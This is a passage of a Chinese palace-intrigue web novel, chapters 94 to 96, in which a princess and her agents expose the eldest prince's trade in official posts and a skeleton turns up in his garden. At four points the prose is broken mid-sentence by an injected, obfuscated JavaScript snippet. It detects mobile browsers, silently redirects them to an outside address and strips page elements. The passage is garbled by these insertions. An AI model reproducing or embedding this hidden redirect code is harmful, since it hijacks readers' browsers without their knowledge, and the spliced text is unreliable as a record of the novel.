这男子已经起身体对萧柠行礼道:“末将郑奇树,见过大公主。” 萧柠惊喜道:“你是郑将军?” 之前,萧柠发现皇陵附近的许多百姓被割了头。此事是靳衡将军所为,她就通知守皇陵的郑奇树将军,把这件事报告给了皇帝。 后来,郑将军因为这个功劳,升为从三品将军,也不用再守皇陵了。 郑奇树说道:“末将多亏大公主的帮忙,才能从皇陵出来,这些年也建了一些军功。大公主若有什么需要在下帮忙之处,在下义不容辞。” “你替我结清了茶水钱,已经算报恩了。” “区区小事,何足挂齿?” 萧柠突然想起一件事,对郑奇树道:“我要找一个叫石长桥的客商,他现在在京城,但我不知道他在京城哪个地方。不知郑将军可有人脉帮我找到?” “原来您要找人,小事一桩。我手底下有许多亲兵可以帮忙,不知道您有没有那位客商的画像?” “有,我让丫鬟回公主府拿。” 之前萧玉蟾带了一张石长桥的画像过来,放在萧柠的公主府里。 萧柠让冬香回去拿。 郑奇树问道:“不知大公主为何要找那个客商?” “是这样的,之前我有一位朋友被那个石长桥骗财骗色,十分伤心,大病了一场。她嘱咐我一定要帮她报仇。 石长桥行踪不定,我多方打听,才知道他现在来了京城。如果您的亲兵找到他,先不要声张,来通知我,我会去教训他的。 此事事关我那个朋友的名节,还请将军和您的亲兵不要告诉别人。” “末将明白了,末将会偷偷找他的。” 冬香把石长桥的画像拿来之后,萧柠就把画像交给了郑奇树。 郑奇树道:“我会多画几张,让手下的亲兵分头寻找。” “有劳郑将军了。” 两天后,有两个士兵路过大公主府,偷偷塞了一张纸条进来。然后他们就走了,也没朝大公主府看上一眼。 守门的小厮把那张纸条交给了萧柠。 萧柠心知,这应该是郑奇树将军传来的纸条,便回到房间,打开来看。 上面写着几个遒劲飞扬的字:“石长桥在城东十里的破庙,跟一群乞丐住在一起,打扮成乞丐的模样,穿着一身蓝黑相间的破衣服。” 萧柠心道:“这石长桥隐蔽自己的方式还真高明。” —————— 城东破庙。 日上三竿的时候,乞丐们纷纷起来,准备去乞讨了。 他们不会去同一个地方乞讨,以免产生竞争。 别人去哪里,他们也不关心。 其中有一个穿着蓝黑色衣服的乞丐悄悄离开人群,来到了一个小巷子里。 小巷子里有一个穿着灰色布衣的人,他头上戴着一个很大的斗笠,斗笠上垂下黑色面纱,看不清此人的脸。 这灰衣人对乞丐说道:“石长桥,今天有什么事?” 打扮成乞丐的石长桥用小刀割开自己手臂上的皮肤,拿出几张银票。 然而,他的手却并未流血。 原来他割开的是一块假皮肤,真正的皮肤并未受伤。 他用这种方式来隐藏银票,巧妙至极。 他把银票递给灰衣人,道:“南阳太守冯俊请求大皇子修改他的考核评语。另外,他有个侄子,一直没考上举人。他希望大皇子能运作一下,给他侄子举人的身份,并让他侄子做官。” 灰衣人看了一眼银票的数额,点头道:“你回去通知冯俊,说大皇子会替他办妥,但时间不确定,让他别着急。” “好的。” 石长桥端着破碗、拄着拐杖走了出去,向过路的人乞讨。 很多人都不愿意给钱,还骂他。他一副畏畏缩缩的样子,不敢招惹那些百姓。 谁都想不到,这样一个举止畏缩的乞丐,竟会是一名富商。在场所有百姓的身家加起来,只怕还不到他的百分之一。 灰衣人还在那小巷子中。他掏出纸笔,飞快地写了几个字,然后把纸条和银票揣在兜里。 接着,他施展轻功,往城外飞去。 在他身后,有两名暗卫像蝙蝠一般,无声无息地跟着他。 暗卫的武功更高,所以这灰衣人没有发现。 灰衣人来到一座豪华的园林俊杰把银票和纸条塞进了一块砖头的缝隙中。 接着,他就施展轻功离开了。 两名暗卫看了一眼这园林的匾额,上面写着“五禽园”三个字。 “五禽园”是皇帝赐给大皇子的园林,因其中有五种珍稀的禽类而得名。 见灰衣人走了,两名暗卫赶紧跟上。 暗卫们本以为灰衣人会回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147036|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大皇子府,谁知那灰衣人却去了另一个方向。 那灰衣人回到了闹市区,不方便施展轻功,就放慢速度走路。 走了一段路后,那灰衣人进了一座宅子,就消失不见。 这宅子的匾额上写着“孟宅”。 两名暗卫在一边小声交流: “孟宅是什么地方?” “这家的主人应该姓孟。” “这一片的宅院好像都是朝中官员购买并居住的,有哪些官员姓孟?” “好像有位吏部侍郎就姓孟。这灰衣人是孟家的人,说明这位吏部侍郎跟大皇子有所勾结。我们快回去禀告主子。” “嗯。” 两名暗卫一路来到大公主府,见了萧柠和萧玉蟾,把刚才的所见所闻告诉了她们。 萧柠道:“之前调查的方向没错,石长桥果然打扮成乞丐,待在京城,伺机跟大皇子的人接头。而跟他接头的那位灰衣人,是吏部侍郎孟可为的部下。 所以,孟可为是大皇子的党羽,由他出面跟石长桥接头,处理这些卖官鬻爵之事。这样,就算这件事被揭露出来,背黑锅的也是孟可为,很难查到大皇子身上。” 萧玉蟾道:“但是,那个灰衣人确实把银票放进了大皇子的园林当中。所以真正得利的是大皇子,他逃脱不了干系的。” “关键就是要找到那个灰衣人,逼他说出真相。但是像这种人一般都是死士,很难抓住。就算抓住了,也不会说实话,而是选择自尽。” “我们可以想个办法,让他无法自尽,并且非说出真相不可。另外,那个石长桥要不要抓?” “也要抓,但是那黑衣人是替大皇子和吏部侍郎孟可为跑腿的,他更为重要。” 暗卫道:“小人们没有看清那灰衣人的模样,因为他全身都遮得严严实实的。总不能直接去孟大人的府上找人。” 萧柠问道:“他全身没有任何露出来的地方吗?” “应该只有手露出来了,但是仅凭手也认不出人来。” “不,有人能认出来。你们俩继续去盯着石长桥,但这次带上另一个人一起盯,他能帮到你们。” “公主让我们带谁?” “一个孩子。” ———————— 郭南麟手里捧着一个竹蜻蜓,开心地跑来跑去。 竹蜻蜓是他这几天喜欢的东西。有了竹蜻蜓之后,他就不再关注其他东西了。 他的母亲向氏坐在一边的台阶上,微笑地看着他。 这孩子说好带也好带,只要给他想要的东西。他就能自己玩,一整天不来烦你。 但是如果往深了想,也挺令人发愁的。 因为这孩子不愿意学什么知识,也从不为自己的未来担忧,整天只知道玩,不知道怎么跟人沟通。 如果没了监护人,他可能会死的得很快。 还好现在大公主接纳了她们,让她们不必担忧。 所以,向氏每天都很感激大公主萧柠。 这时,她看见萧柠走了过来。赶紧站起身,笑着对萧柠行礼。 萧柠道:“向大姐,不必多礼了。” 接着她对郭南麟道:“南麟,我让两个哥哥带你去玩,怎么样?” 94. 偷走(修) 郭南麟摇头:“不……不……” 萧柠笑道:“跟他们去玩,他们每天给你吃糖。” “好啊好啊!” 萧柠把郭南麟带到两名暗卫面前,道:“你们把这孩子带去,一起跟踪石长桥吧。等石长桥下一次跟那灰衣人接头时,你们让这孩子看清楚灰衣人的手长什么模样。 他记住之后就不会再忘记,并且能够在人群中一眼辨认出那双手的主人。” 暗卫问道:“这孩子会武功吗?” “他不会武功,并且心智不全。你们要约束好他,不让他坏了大事。这孩子很好哄的,你们只需要拿一些好吃的给他就行。” “是,小人明白了。” 萧柠对郭南麟道:“南麟,你要听这两个哥哥的话。如果不听话,以后就再也不给你吃糖了,也不给你玩竹蜻蜓。” 郭南麟有些着急地说:“南麟听话……南麟要吃馄饨,吃糖……” “让这两个哥哥带你去吃。” ———— 两名暗卫又跟踪了石长桥几天。 在这几天,石长桥曾离开京城,去了别的地方,两名暗卫也一路跟随。 他们以前做任务,只带必要的干粮和水,但这次却带了许多零食。 看在零食的份上,郭南麟很听他们的话。一路上不管是躲在草丛里,还是趴在树干上,郭南麟都不吵不闹。 石长桥又见了一些陌生人,收了银票和礼物。 然后,他回到京城,继续扮成乞丐。在某天早上,他接着去那个小巷子,跟灰衣人接头。 两名暗卫带着郭南麟,在暗处看着。 郭南麟只看了那灰衣人一眼,就移开了目光,东张西望。 两名暗卫希望他多观察一下,但是又怕出声会引人注意,所以就只能一次次地把他的头掰向小巷子的方向,希望他能多看灰衣人几眼。 但郭南麟不愿意,他总是用力地偏过头,看花看树,看天空看小鸟,就是不看那灰衣人。 两名暗卫哭笑不得,也只好随他去了,只希望他已经看清楚了那灰衣人的手。 石长桥已经跟灰衣人说完了话,灰衣人准备离开。 两名暗卫赶紧带着郭南麟走了。 回到公主府之后,萧柠问郭南麟:“你看清楚了那灰色衣服的人吗?” “看清楚了。” “如果下次那个人不穿灰色衣服了,脸也露出来了,你还能认出他吗?” “可以,看他的手。” “很好,明天玉蟾姐姐带你去认人。只要你能认出来,就给你好多零食。” “好啊好啊。” 第二天是休沐日,吏部侍郎孟可为也在家。 有一只黑鹰飞进了孟家的院子里,盘旋了一会儿,又飞了出去。 过了一会儿有个小厮急匆匆地跑来见孟可为,道:“老爷,庆安县主来访,好像她还有点不高兴。” 孟可为吓了一跳,道:“我与庆安县主素无来往,不知她有什么事。” 庆安县主是皇室宗亲,孟可为不敢怠慢,赶紧出去相迎。 萧玉蟾已经走了进来,身后还带着二十几个随从,气势汹汹的。 其中一个随从的手上,捧着一只死去的黑鹰。 孟可为赶紧拱手道:“县主光临,不知有何要事?” 萧玉蟾指着那只死去的黑鹰,道:“这只黑鹰是我养的宠物,听下人说,刚才这黑鹰飞到了孟家的院子里,结果飞出来没多久就死了。我想来问问怎么回事。” “这……下官并不知情啊。方才下官一直在房间里,未曾见到这只黑鹰。” “那就把你家的下人都叫过来,总有人知道的。” “是,下官这就叫召集所有下人。” 过了一会儿,孟家的所有下人都聚集在了院子里,一共有二十多个。 孟可为问道:“你们见到过这只黑鹰吗?” 有几个下人答道:“好像见到过。这只黑鹰刚才在院子里飞了一会儿,就走了。” “是的,小人也见到过。” 萧玉蟾问道:“你们谁把这黑鹰弄死了?” 下人们纷纷否认:“没有啊,我们都没碰过这只黑鹰。” “是啊,这只黑鹰离开的时候,根本没有受伤,也没有死。” 孟可为小心翼翼地问萧玉蟾:“县主,您看这其中是不是有什么误会?我家的下人都说没有伤害过这只黑鹰。” 萧玉蟾道:“我这只黑鹰凶猛,如果有人伤害它的话,它也会啄那个人的手。现在请你家的下人都把手伸出来,我看看他们手上有没有被鹰啄出来的伤口就知道了。” 孟可为吩咐下人:“你们快把手都伸出来,让县主看一下。” 所有下人都把双手伸了出来。 萧玉蟾退后一步,走到其中一个随从身边。这个随从正是郭南麟假扮的。 萧玉蟾小声对郭南麟道:“你仔细看看。” 郭南麟把那些伸出的手都看了一下,接着他指了指站在最右边的一个下人。 萧玉蟾心中有数。她假装查看那些下人的手是否有伤口,慢悠悠地边走边看。 一圈看下来,所有下人手上都没有伤口。 孟可为道:“县主,这下您可以放心了吧?他们都没有被这只黑鹰啄过,证明他们未曾伤害黑鹰。” 萧玉蟾笑道:“这样啊,看来我真是误会了。也许这只黑鹰是其他人弄死的。真不好意思,惊扰你们了。” “县主说哪里话?您能光临寒舍,是下官的荣幸。” 萧玉蟾状似不经意地指着最右边的下人,问道:“这个小厮看起来体格健壮,目光有神,是你家所有下人中最出彩的一个。不知他是管什么的?” “他是府里的马夫,名叫孟三。县主既然觉得他不错,下官本该将他送给县主。但是孟三赶马车的技术很不错,我家也离不开他,请县主见谅。” “这倒不用,我哪能随便带走你家的得力下人。我先走了。” “县主不留下喝杯茶吗?” “不用了,我还要去安葬我这只黑鹰。” 说着,萧玉蟾就带着随从们离开了。 刚才,郭南麟已经认出马夫孟三就是那个跟石长桥接头的灰衣人。 郭南麟天赋异禀,不会认错。 现在,只要想个办法抓住孟三,让他吐出一切就可以了。 其实,刚才那只飞进孟府的黑鹰并没有死。萧玉蟾手上一共有两只黑鹰,一死一活,都是从郑奇树将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147037|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里借的。 郑奇树将军养了好几只鹰,其中有一只前两天死了。萧柠和萧玉蟾就将其借了出来,顺便再借一只活的黑鹰,一起策划了这出戏。 萧玉蟾派人把两只黑鹰都送还给了郑奇树将军,然后带着郭南麟回到了大公主府。 她把刚才的事大致说了一下,萧柠道:“太好了,找到了那个灰衣人是个重大突破。现在我们要想想怎样抓住那个孟三,顺便让他吐露实情。” “嗯,抓住他倒是不难,但要他不自尽、不说谎,却是很困难的。” “今天你辛苦了,我先想想该怎么做。” “好,那我先回去了。” 萧柠用意念呼叫系统:“系统,你说这个孟三既然这么有本事,为什么孟可为会让他当一名马夫呢?” “我也不知道,要不我帮你查查?不过也要1万积分。” “不用了不用了,这不重要,积分要花在刀刃上。让我想想应该问你什么……孟三为孟可为和大皇子做事应该已经很久了,积累的钱财应该不在少数……孟三是不是有一个专门藏钱的地方?” “是的。1万积分已扣除,现在的积分是59400。” “什么?两个字就扣我1万积分?你好歹跟我说一下那个藏钱的地方在哪儿啊?” “这是第二个问题,你要问吗?” “你好坑啊!” “呜呜呜,被骂了。” “……” 萧柠想了想,道:“你帮我查吧,孟三藏钱的地方在哪里?” “在垂杨镇有一间废弃的草屋,草屋底下有一个地窖,地窖的墙壁上有暗格。孟三把钱藏在那里。他打算攒够一笔钱就远走高飞。一万积分已扣除,现在的积分是49400。” “这一会儿功夫扣了我2万积分,真有你的。” “积分就是拿来用的嘛,淡定。” “……” 第二天,萧柠把萧玉蟾叫来,道:“我知道孟三把私房钱藏在哪里。你派人去那个地方看看,如果没人把守的话,你让暗卫把那些钱全部拿走。” “公主,您是如何得知的?” 萧柠含糊其辞:“我是从别的渠道知道的。” “既然是藏钱的地方,应该有重重把守吧。” “我觉得未必有。那间草屋很破败,谁也想不到里面藏着钱。你先派人过去看看,见机行事。” “好。” ———— 暗卫六幺来到了垂杨镇的那间草屋,找到了藏钱的暗格。里面有一些银票、银子、珠宝,六幺全部打包带走了。 这间草屋已经快塌了,确实没人看着。就算有别人进来,也想不到底下有地窖,地窖里面还有暗格。 因此,六幺这个任务完成得比较顺利,来去都没人看见。 ———— 马夫孟三有个习惯,他每隔一段时间就会回藏钱的地方看看。见到自己的财产还在,他就会有一种安全感。 他没有家人,为官员们做一些见不得人的事,也只是为了求财。 他打算等攒够钱之后,就离开京城,不再为别人卖命,过自己的好日子去。 可是这天,他却发现自己积攒的金银财宝不见了,连一个铜板也没有留下。 95. 套路(修) 孟三的脑袋“腾”的一下空了,紧接着,惊慌、愤怒、疑惑等情绪涌了上来。 他飞奔回孟家,直接进入孟可为的书房,问道:“我的钱呢?” 孟可为正在书房作画,他皱了皱眉,道:“谁让你未经通报,直接闯进来的?” “在人前,我是孟家的下人。可你我都清楚,我们之间只有雇佣关系。我替你办事,你付我钱,仅此而已。” “就算如此,你也不用一副兴师问罪的样子。我孟可为不欠你什么,每次办事的费用,我都结清了。” “哼,你所谓的结清,就是表面上给我钱,背地里叫人把我的钱偷走!” “你这话说得奇怪,我为什么要偷走你的钱?更何况,我也不知道你把钱藏在哪里。” “你表面上不知道,可实际上呢?我在孟家这么多年,你有的是机会找人跟踪我,发现我藏钱的地方!” “你这话说的好笑,我为什么要盯上你的存款?你很有钱吗?我的钱比你多多了,全换成银子的话能砸死你!那些钱既然是给你的辛苦费,我怎么可能又拿回去?我是这种没品的人吗?” “谁知道呢?” “你……我告诉你,我可是朝廷命官,你不过是个江湖草莽,你这样污蔑我,我可以抓你去坐牢的!” “呵,真搞笑,你敢拉我去见官?你自己做了多少见不得人的事,自己不清楚吗?你不怕我把你和大皇子的秘密全说出来?” “全说出来,你自己也是个死,相信你不会这么不理智。孟三兄弟,我真没拿你的钱,也许你是被其他人跟踪了,这其中一定有误会。要不这样,我帮你查一下。” “哼,不用了。” “要不这样,我另外给你五十两银子,你先花着。等下次任务完成了,你又有钱了。” “五十两银子?你打发叫花子呢?不劳您费心了!” 孟三说着,就走了出去。 看着他的背影,孟可为直皱眉。这个孟三越来越难驾驭了,以后怕是要另外找几个好用的下属…… 孟三心情不好,一路狂奔出城。 这些年,他为了攒钱,一直省吃俭用。虽然存款已有不少,但从来没享受过。 没想到,存款全部被偷,他这么多年的辛苦都打了水漂。 这时,他忽然看见前面的树下有一个包袱,包袱被打开了,里面有很多银子,大概有一百多两。 见四下无人,孟三赶紧过去,打算把这些钱拿走。 正当他低头捡银子的时候,忽然觉得脖子一疼,失去了知觉。 等他醒来的时候,他发现自己在一个很小的密室里,被五花大绑,身上的穴道也被点了。 他意识到,自己被绑架了。 他环顾四周,没看到人。感受了一下身体,感觉也没受什么伤,暂时是安全的。 多年闯荡江湖的经验让他快速冷静下来,他觉得,只要弄清绑架之人的意图,就有办法周旋。 这时,他听见门口传来小声说话的声音。 “里面那个人,怎么处理?” “主子交代了,等他醒来,咱们把他的钱榨干,然后就杀了他。” “非杀了他不可吗?他只是孟家的下人。” “咱们主子跟孟可为有深仇大恨,特意交代了,要让孟家鸡犬不留。哪怕是下人,也不能活命。” “他可真惨,看着老实本分的,只因为在孟家做工,就要被孟可为牵连致死。” “没办法,这是主子交代下来的。” “他跟咱们无冤无仇,我还真不想让他死。” “别磨磨叽叽的,心不狠,立不稳。主子只给我们一个月期限,让我们除掉孟家人。下一步,主子要对付的是大皇子。那可是块难啃的硬骨头,主子还在设法收集大皇子的罪证呢。” “咱们主子到底是什么身份啊,竟敢对付吏部侍郎和大皇子?” “这不是我们该问的,问得越多,死得越快。” “诶,里面那个人,应该醒了吧?” “咱们进去看看。” 两个黑衣人走了进来,二话不说,直接打了孟三几鞭子。 孟三没法躲,结结实实地挨了几鞭,觉得身上很疼。 其中一个黑衣人道:“这位兄台,我们兄弟只是求财,你把你的财产都交出来,我们就放了你。” 孟三道:“真不巧,我的钱刚刚被人偷走了。” “岂有此理,敢胡说八道!” 两个黑衣人又对孟三拳打脚踢。 孟三叫苦不迭:“我的钱真的被偷走了,我也想不到,我刚遭遇小偷,又遇到强盗……” “嘿,你说谁是强盗呢?” 两个黑衣人又继续打孟三,加重了力道。 孟三求饶道:“你们别打了,再怎么打,也打不出钱来了!要不这样,你们放了我,我回孟家偷钱给你们。” “你看我们像傻子吗?接着打!” 孟三豁出去了:“你们别骗我了,刚才你们在门外说的话,我都听见了。就算我给你们钱,你们也不会饶了我的。既然这样,别说我身上没钱,就算有钱,也不会给你们!” “好啊,那我们今天就把你活活打死!” 两名黑衣人下手越来越重,孟三逐渐感觉支撑不住了。 难道他纵横一世,今天要在阴沟里翻船了? 被人活活打死,说出去也太好笑了。 他可不想死,更不希望是这种死法。 忽然,他灵光一闪,道:“你们不能杀我!因为我对你们有用!” “有什么用?” “你们的主子不是要找大皇子的罪证吗?我知道他的罪证!” “你不过是孟家的下人,你知道什么?” “是真的!我家老爷就是大皇子的党羽,帮大皇子干了很多事!其中有一大半是我经手的!” “我们凭什么相信你?” “我说出线索来,你们去查证,就知道我说的是不是真的了。” 其中一个黑衣人道:“好,你且说来。” 另一个黑衣人道:“等一下,不能轻易相信他。他会这么容易出卖自己的主子?小心有诈。” 孟三道:“我没骗你们,我的主子对我很抠,我好不容易攒下一笔钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147038|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他还偷偷拿走了。我去问他,他竟不承认。像孟可为这种人,来十个我卖他十个,来一百个我卖他一百个!” 一个黑衣人拍了拍他的肩膀:“好!这位兄弟,我早看出你是个真汉子。来,咱们详细说说。” 孟三就把大皇子收受贪官污吏的贿赂,暗中修改考核评语,让那些贪官污吏继续逍遥法外的事说了,还说了一些大皇子卖官鬻爵的事。 具体到官员的姓名、职位、所在地、贿赂手法和金额、中间人等等,全都有详细的信息。 两个黑衣人拿纸笔记录了下来。 孟三道:“我所知道的,都已经说了。但受大皇子包庇的贪官污吏远不止这些。做这些事,大皇子是不亲自出面的,而是让我的主人孟可为去做。 修改考核评语,也是让吏部其他官员去做。我这边收上来的钱,都是直接放到大皇子的园林中,自有人去拿。大皇子的园林叫做‘五禽园’,就在京城西郊,太清山附近。跟我接头的人,叫石长桥,是个行商。他行走各地,明为做生意,暗中会见各地的官员,收受他们的贿赂,为他们牵线搭桥。 你们把石长桥也抓来,一对口供,就知道了。” 黑衣人足足记了十页纸,才把孟三所说的事记全。 接着,黑衣人拿来印泥,抓着孟三的手画押。 孟三有些紧张:“这……还要我画押?” “对啊,你不画押,这几张纸便不能作为证据。等过阵子,你还要作为证人去作证呢。” “可是……我也参与这些事了,我如果暴露了,也活不了……” “放心,你这是戴罪立功,死不了,最多也就是流放而已。我们会保护你的。” 孟三将信将疑:“真的吗……你们的主子究竟是谁啊……” “这你就别问了,我们自己也不清楚。总之我们主子一定位高权重就对了,保住一个你还是轻轻松松的。” 事到如今,孟三也只能相信他们的话了。 孟三继续被关押着,而这两个黑衣人走出密室,卸去伪装,正是萧玉蟾的两名暗卫。 他们走了几步路,来到另一间房,萧柠和萧玉蟾都在这里。 他们把供纸呈上,萧柠和萧玉蟾都十分惊喜。 萧玉蟾道:“有了孟三的供词,已经成功了一大半了。接下来只需抓住石长桥,获得他的供词,证据就更完整了。只是,我们该让谁把这些事上报给皇上?总不能我们亲自来吧?” 萧柠道:“这样不妥,我们本来是没有资格查这些事的。如果我亲自出面,难免会让父皇怀疑我有野心。” “要不,我们求助于郑奇树郑将军呢?” “他之前已经得罪了靳家,只怕日子没那么好过,我们不能让他再得罪靳家和靳贵妃。” “可是,如果这些事暴露了,只怕靳贵妃、大皇子都彻底没法翻身了,也就没有能力报复郑将军了。” “不,百足之虫,死而不僵。靳贵妃能得宠这么多年,也是很有本事的。父皇对她和大皇子感情也很深厚,不可能因为这么点小事,就让她们母子翻不了身。” “这还算小事?” 96. 藏獒(修) “这对皇上来说,自然是小事。只要他想保住靳贵妃母子,自然可以大事化小,小事化了。所以,对于检举揭发的人选,我们还要再斟酌斟酌。” “不如我们找几个支持三皇子的大臣,把证据偷偷给他们,让他们来揭发?” “也可以,不过要做得隐秘些,不能让那些大臣知道证据是我们提供的。” 接下来,她们如法炮制,抓了石长桥,获得了他的口供。 石长桥和孟三被分别关押。 不过,不能关押太久。他们两人失踪了,很快会被人发现的。 所以,必须速战速决。 支持三皇子的大臣并不难找,只要打听一下,有那些大臣曾经上书,请求立三皇子为太子就可以了。 十分激进地支持三皇子的官员,有四五个。这四五个官员,几乎每隔一段时间就会上一道折子,请求立三皇子为太子。 萧柠把孟三、石长桥的供词抄录了几份,派暗卫偷偷送到这四五名大臣家里。 受之前纸条的启发,萧柠写的也是馆阁体,完美地隐藏了自己的身份。 那四五名大臣收到了匿名信,聚在一起商议。 他们都希望匿名信上的内容是真的,这样大皇子会被惩罚,三皇子的胜算就更大了。 只是,仅凭几张纸,他们还不敢贸然出手。 就在这时,他们聚会的屋顶突然裂开,从屋顶上掉下三个人,正是孟三、石长桥,还有吏部的小官封直言。 封直言不知道自己是如何被绑的,只觉得眼前一花,就晕倒了。等醒来时,他已经在这间屋子里了。 至于把他们带来的人,早就跑了,看不见了。 几名官员审问了孟三和石长桥,知道匿名信上所言都是真的。 而吏部的小官封直言也表示,自己愿意作证,指证大皇子和吏部一些官员勾结,修改官员考核评语的事。 于是,几位大臣立刻进宫面圣,把人证、物证都带上。 皇帝得知后震怒,让大理寺、刑部一起调查此案。至于大皇子、吏部侍郎孟可为,先行羁押。如果罪证属实,再做处置。 这一查不要紧,查到了大皇子的更多罪证,远不止供词上提到的这些。 大皇子勾结吏部官员卖官鬻爵、修改考核评语的事是板上钉钉了,还查出大皇子曾恐吓、殴打与自己不和的官员;私底下跟亲信聚会时,让他们称自己为太子;派人刺杀三皇子,幸好被三皇子身边的护卫挡下等事。 数罪并罚,大皇子本为齐王,被贬为齐侯;罚没所有违法所得,并处罚金三千两;杖责三十,闭门思过半年,半年内不得会见宾客;之前赏赐的园林,全部收回。 所有涉事官员和中间人,一律严惩。有被贬官的,有被夺爵的,有被抄家的,有被流放的,不一而足。吏部侍郎孟可为,因参与案情最深,全家处斩,家产充公,五服以内的亲属都不得科考、做官。 孟三、石长桥因检举有功,本该判处死刑的,改为流放。石长桥家产充公,家眷全部贬为奴隶。 吏部小官封直言没有同流合污,还出来作证,被升为吏部侍郎。 靳贵妃也参与了部分事情,一并被牵连,贬为五品才人。后宫事务由温妃主理。 三皇子多次被大皇子派人刺杀,皇帝给他增派了二十名大内侍卫当保镖,并赏赐一些礼物作为安慰。 鸾音、绿袖等护卫保护三皇子有功,各自赏赐金银若干。 鸾音、绿袖手上有了很多钱,便买了很多特产、礼物寄给萧柠和萧玉蟾。 萧柠留下了一部分礼物,把其他礼物送给了温妃、宫人们、弟弟妹妹们,还有一些跟自己关系好的低位妃嫔。 系统给了萧柠300积分。 同时,由于萧柠揭发了大皇子的罪状,无形中救了很多人,获得十万积分。 现在的积分是:149700。 一切本该尘埃落定,谁知,上林署的官员们去检视五禽园时,在里面发现了一具尸体。 五禽园本来是皇帝赐给大皇子的,由大皇子的下属们管理。 现在大皇子犯了罪,五禽园被收回,就归上林署管理了。 上林署的官员们按照惯例,先去五禽园检查一番,看看里面有些什么,也可重新造册登记。 官员们发现,五禽园里关了一只凶猛的藏獒。那只藏獒漂亮勇猛,不知为何被铁笼子关着。 看守园林的小吏说,这只藏獒是大皇子所养,以前咬过人,还把咬下来的肉吃了。 吃过人肉的狗本来是不能留的,但大皇子舍不得打死,就铸了个铁笼子,把藏獒关在里面。 上林署的官员们觉得留着这只藏獒是个隐患,便想将它弄出来打死。 谁知,笼门一开,藏獒就跑了。 官员和随从们一起去追,但藏獒却没跑远,而是在一棵树下不停地扒拉,已经挖出了一个浅坑。 随从们上前捉拿藏獒,可藏獒不想离开,还是不停地扒拉泥土。 官员们觉得有蹊跷,就把藏獒控制住,让随从们来挖这里的泥土。 往下挖了一阵后,他们竟发现里面埋着一具白骨。 这白骨应该死了好几年了,但身上的衣服还没腐烂,可以辨认出是大户人家的仆妇所穿。 怪不得藏獒要扒拉这里,它大概是闻到了尸体的味道。尸体腐烂在这里,泥土里应该也有人肉的气味,所以藏獒想吃。 上林署的官员们询问大皇子府是否有仆妇被害,但调查了一番,发现没有。 所以,这具白骨不是大皇子府上的。 官员们赶紧上报给了大理寺。同时,因为尸骨是在大皇子的园林被发现的,也算大事,所以他们也上报给了皇帝。 皇帝觉得很头疼,大皇子已经犯了这么多罪了,没想到还有没曝光出来的罪行? 这具尸骨如果真是被大皇子所害,还得接着惩罚他。 皇帝觉得很疲惫,也很烦躁。他让大理寺的官员严加审查,必须把这尸骨的身份、害死此人的凶手查出来。 大理寺经过验尸,发现这具尸骨是女尸,已经死了三年多了,左边第二根肋骨有骨折过的痕迹。同时,右手的小手指少了一节。 根据尸骨身上的衣服,可以判断此人生前是大户人家的仆妇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147039|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是,大理寺张贴告示,询问谁家有仆妇失踪,且已经失踪三年以上了。如果有的话,就来五禽园认尸。 告示贴满了大街小巷,但大部分人只是看看。 姜焕看了告示后,本来没在意,但他突然想起,姜家确实有一个仆妇失踪,就是杜四娘子。 当年,萧柠参加县试的时候,姜焕让杜四娘子准备食物。 但萧柠的糕点上被洒了蟹粉,萧柠吃掉之后,腹泻严重,差点没写完考卷。 后来,萧柠想询问杜四娘子这件事,谁知杜四娘子却不见了,而且一直没有找到。 姜焕赶紧赶到五禽园认尸。 尸骨所穿的衣服,确实是姜家仆妇常穿的。 但仅凭衣服,是没法判断的。 姜焕问道:“尸骨上还有其他线索吗?” 大理寺卿道:“这具尸骨左边第二根肋骨曾经断过。还有,她的右手小手指缺了一节,也不知道是本来就缺的,还是我们没有找到那节指骨。” 姜焕悚然道:“是了,这尸骨是我家的仆妇杜四娘子……杜四娘子以前受过伤,左边的肋骨摔断过。还有,她以前做饭时,不小心切断了右手小手指的最上一节,所以她的右手小手指是残疾的……我已经找了她三年多,没想到她在这里……” —— 当萧柠得知消息的时候,又是震惊,又是伤心。 